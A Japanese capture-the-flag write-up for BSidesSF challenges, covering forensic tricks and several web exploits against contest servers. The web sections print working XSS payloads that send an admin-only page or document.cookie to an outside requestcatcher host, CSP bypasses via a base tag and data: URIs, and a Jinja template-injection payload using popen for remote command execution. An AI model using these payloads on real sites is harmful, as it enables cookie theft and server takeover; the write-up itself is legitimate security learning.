https://ctftime.org/event/2357
- [Forensics] doctor
- [Forensics] [101] javai
- [Web] match-one
- [Terminal] [101] meow
- [Terminal] No Tools
- [Forensics] [101] undelete
- [Web] web-tutorial系
- [Forensics] ztxt
- [Web] business-expense
[Forensics] doctor
SuperSecretWordDoc.docx
というファイルが与えられる。拡張子のdocxをzipに変えて解凍してみると、image0.pngという画像が入っており、中身を見るとフラグが書いてある。
[Forensics] [101] javai
JavAI.docx
というファイルが与えられる。docxファイルはzipファイルとして展開可能なので、変名して展開する。中にgetflag.class
というファイルが入っていた。stringsコマンドで適当に文字列を抜き出してみるとフラグが書いてあった。
[Web] match-one
ソースコード無し。神経衰弱ができるサイトが与えられる。適当に遊んでクリアしてからフラグを要求すると
You got some pairs wrong, reset the game and try again!
と言われる。全問正解でないと駄目なようだ。GET /home
にアクセスするとゲームがリセットされるが、この応答でカードのaltに番号が付けられていて、何番のカードがどこにあるかが応答で分かってしまう。
<div class="memory-card" data-id="2" data-value="2"> <img class="front-face" src="/static/images/2.png" alt="BSidesSF" /> <img class="back-face" src="/static/images/back.png" alt="2" /> </div>
これは2番のカード。これにより、盤面の状態をすべて把握できるので、ノーミスで神経衰弱をクリアするとフラグがもらえた。
[Terminal] [101] meow
ターミナルへのアクセスが与えられる。特に制約はなく、/home/ctf/flag.txt
を読む問題。cat /home/ctf/flag.txt
でフラグ獲得。
[Terminal] No Tools
ターミナルへのアクセスが与えられる。バイナリが色々が使えなくなっていて、/home/ctf/flag.txt
を読む問題。色々使えないが、shの組み込み機能だけでファイルは読める。ref
while read line; do echo $line; done <flag.txt
[Forensics] [101] undelete
floppy.imgというディスクイメージが与えられて隠されたファイルを取得する問題。
101問題だからか、how_to_solve.txtという解き方が書かれたファイルが与えられる。その中からbinwalkで解いた。binwalk -v --dd='png' -C . floppy.img
として、4400というファイルがpngファイルとして取れてくるので中を見るとフラグが書いてある。
[Web] web-tutorial系
XSSできるサイトが与えられるので、管理者権限でGET /xss-???-flag
を読んでフラグを得る問題群。
[Web] web-tutorial-1
<script>alert(1);</script>
でXSSできるという情報と、管理者権限でGET /xss-one-flag
すればフラグが得られるという情報が与えられるので、フラグを抜いてくる入門問題。
<script>fetch('/xss-one-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})</script>
という感じでフラグを抜いた。
[Web] web-tutorial-2
今度は自分でXSSする術を考える必要がある。管理者権限でGET /xss-two-flag
が取得できればフラグ獲得。CSPは
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n'; connect-src *; style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com; font-src 'self' fonts.gstatic.com fonts.googleapis.com
という感じで、埋め込み方は
[input] <script nonce="7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n" src="woof.js"></script>
という感じ。woof.jsというのはあるが、404エラーになっていた。base-uriが無い、かつ、default-srcが適用されないのでbaseタグによる差し込みが行えそう。まず、woof.jsという名前で以下のようなファイルを作成する。
fetch('https://web-tutorial-2-3ebcc611.challenges.bsidessf.net/xss-two-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})
次に、これをpythonでwebサーバーを立ててホスト python3 -m http.server 8989
し、ngrokで公開 /opt/ngrok http 8989
する。 ngrokから払い出されたドメインを使ってbaseタグを用意して、<base href="https://e6b0-126-221-138-223.ngrok-free.app/" />
のように送ればbaseタグによってwoof.jsが自前でホストしたものに差し替えられ、XSSが達成できる。
[Web] web-tutorial-3
管理者権限でGET /xss-three-flag
が取得できればフラグ獲得。CSPは以下のような感じ。
Content-Security-Policy: default-src 'self' 'unsafe-inline';script-src 'self' data:;connect-src *;style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com;font-src 'self' fonts.gstatic.com fonts.googleapis.com
script-src
としてdata:
が許可されているので、それを使ってjavascriptを実行できる。
<script src="data:text/javascript,fetch('/xss-three-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test',{method:'post',body:e})})"></script>
[Forensics] ztxt
ztxt.png
というファイルが与えられる。問題文は以下のような感じ。
Ze zhope zou zan zind zour zlag zin ztext zhunk
zstegかな…と思ってやってみると正解。
$ zsteg ztxt.png meta flag .. text: "CTF{■■■■■■■■■■■■■■}" imagedata .. text: "UUUUUUUUUUUUUUVfffffwvfffffUUUVfUfffUUUUUUUUUEUVeUUUUUUfefeUVfffffVfffffffffffwvUUfffffgvfgvfffffVfgeUUfffUUfffffffffffffVfeUVfffgfffffffgvfffffgvgwwwwfgfwwwwwwwvfffgwvvffwwwwwwvffvffffffggegwvwffeUVfefffUUUVffffffffVfffffffffeUVgfgwffeVffffUUUVfffffffffffUUUfffeUVfffUUVffffUUUUUfffeUfffeUUUVfffffffffffVfVffeUVUUfffffffgfffffffgvfffffeVfffffffveUUffffffffffffefffUUUUUVUUUfeUVUVfgfwgwffffffUfUUUffffeUUffgveffeVffffVffffffwffeUUUUUUUUVfffffffffffffgwffffffffffffUffUfffffeUUfffffwffffffffffUUUff" b2,r,msb,xy .. file: VISX image file b2,b,lsb,xy .. text: "UUUUUUU]U" b4,r,lsb,xy .. text: "UUUUUUU\\" b4,r,msb,xy .. text: "wwwwwwwwwwwwww733333" b4,g,lsb,xy .. text: ["3" repeated 20 times] b4,b,lsb,xy .. text: "wwwwwwwwwwwwwwy"
[Web] business-expense
ソースコード有り。管理者に承認が得られるサイトが与えられる。問題文に
There is also an admin user that is periodically accessing certain endpoints.
と記載があり、admin.htmlが以下のような感じでXSSできそうな見た目をしているので、/admin
に定期アクセスがあるんだろう。
<td> {{ v.expense | safe}} </td> <td> {{ v.cost }} </td> <td> {{ v.currency | safe}} </td>
まずはXSSを達成する。
XSS
上記にあるようにexpenseとcurrencyでXSS発生できる可能性がある。これらを代入している所を探すとPOST /api/saveExpenses
で使われている。
@app.route('/api/saveExpenses', methods=['POST']) @login_required def save_expenses(): for expense in request.json: if len(expense["expense"]) > 50: return "Expense names must be less than 50 characters long", 400 expense["expense"] = escape(expense["expense"]) if not expense["cost"].replace('.', '', 1).isdigit(): return "Expense costs must be a number", 400 if len(expense["currency"]) > 10: return "Expense currency must be less than or equal to 10 characters", 400 current_user.expenses = json.dumps(request.json) current_user.status = "Updated" db.session.commit() return "Looks good", 200
expanseはescapeがかまされているが、currencyの方は長さチェックだけ行われている。10文字以下であることが強制されているが、型チェックが無いので配列を使えば回避できそうである。やってみよう。GET /admin
に表示させるにはキューに入れる必要がある。
- 適当にアカウントを作り、ログイン
POST /api/saveExpenses
で自分のcurrencyを["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]
とする
POST /api/saveExpenses HTTP/2 Host: business-expense-14bece99.challenges.bsidessf.net Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E Content-Length: 156 Content-Type: application/json;charset=UTF-8 [{"expense":"dinner","cost":"50","currency":["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]}]
POST /api/addToQueue
でキューに入れる- adminが踏むのを待つ
これで試すと踏まれた!XSSは達成できた。しかし、sessionトークンはHttpOnlyで取得はできないようだ。しょうがないので、このまま攻撃を進める。
RCE
ここからRCEにつないでいく。以下のように不自然にテンプレートを使っている所がある。
@app.route('/api/getStatus', methods=['GET']) @login_required def get_status(): out = "" if current_user.status == "Accepted": out = "<div style=\"color:green;\">"+current_user.status+"</div>" elif current_user.status == "Denied": out = "<div style=\"color:red;\">"+current_user.status+"</div>" else: out = "<div>"+current_user.status+"</div>" return render_template_string(out)
ユーザーのstatusが変更できればこれは達成できそう。statusの変更は以下のようにやる。POST /api/updateExpenseStatus
でできそう。
@app.route('/api/updateExpenseStatus', methods=['POST']) @login_required def update_expense_status(): if current_user.admin: if len(users_queue) > 0: if users_queue[0][1] == request.json["popID"]: user = load_user(users_queue.pop(0)[0]) user.status = request.json["status"] db.session.commit() return "Looks good", 200 else: return "Invalid popID", 400 else: return "No pending requests", 400 else: return "Must be an admin to access this page", 403
実はこれの呼び出しが管理人がやっていることで、admin.jsを見ると呼び出しコードがある。
window.addEventListener("load", () => { document.querySelector("#approve").onclick = () => statusButtons.updateStatus("Accepted", document.getElementById("approve").value); document.querySelector("#deny").onclick = () => statusButtons.updateStatus("Denied", document.getElementById("deny").value); }); var statusButtons = { updateStatus : (message, popID) => { var xhttp = new XMLHttpRequest(); xhttp.open("POST", "/api/updateExpenseStatus") xhttp.setRequestHeader("Content-Type", "application/json") xhttp.onreadystatechange = () => {location.reload();}; xhttp.send(JSON.stringify({"popID": popID, "status": message})) console.log(xhttp.status) } }
よって、これに従って呼んでやればいいのだが、botのソースが無いので謎のバグが取れず、非常に難航。以下のようなHTMLをいい感じに送ると更新できた。adminが踏んだ後にGET /api/getStatus
にアクセスすると{{4*4}}
が評価されて16が帰ってくることが確認できる。かなり動作は不安定。
<script> const sleep = ms => new Promise(r => setTimeout(r, ms)); setTimeout(async () => { fetch(`https://[yours].requestcatcher.com/log1`); var xhttp = new XMLHttpRequest(); xhttp.open('POST', '/api/updateExpenseStatus'); xhttp.setRequestHeader('Content-Type', 'application/json'); xhttp.send(JSON.stringify({'popID': document.getElementById('approve').value, 'status': '{{4*4}}'})); fetch(`https://[yours].requestcatcher.com/log2`); }, 0) </script> <img src='https://ba43-86-48-12-221.ngrok-free.app/sleep.jpg'>
動作不安定すぎてやばかったが、何とか{{request.application.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}
を送り込むことができた。これでGETパラメタ経由でRCEできるようになった。後は色々やると以下でフラグが得られる。
GET /api/getStatus?a=os&b=cat%20%2fapp%2fflag.txt HTTP/2 Host: business-expense-14bece99.challenges.bsidessf.net Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E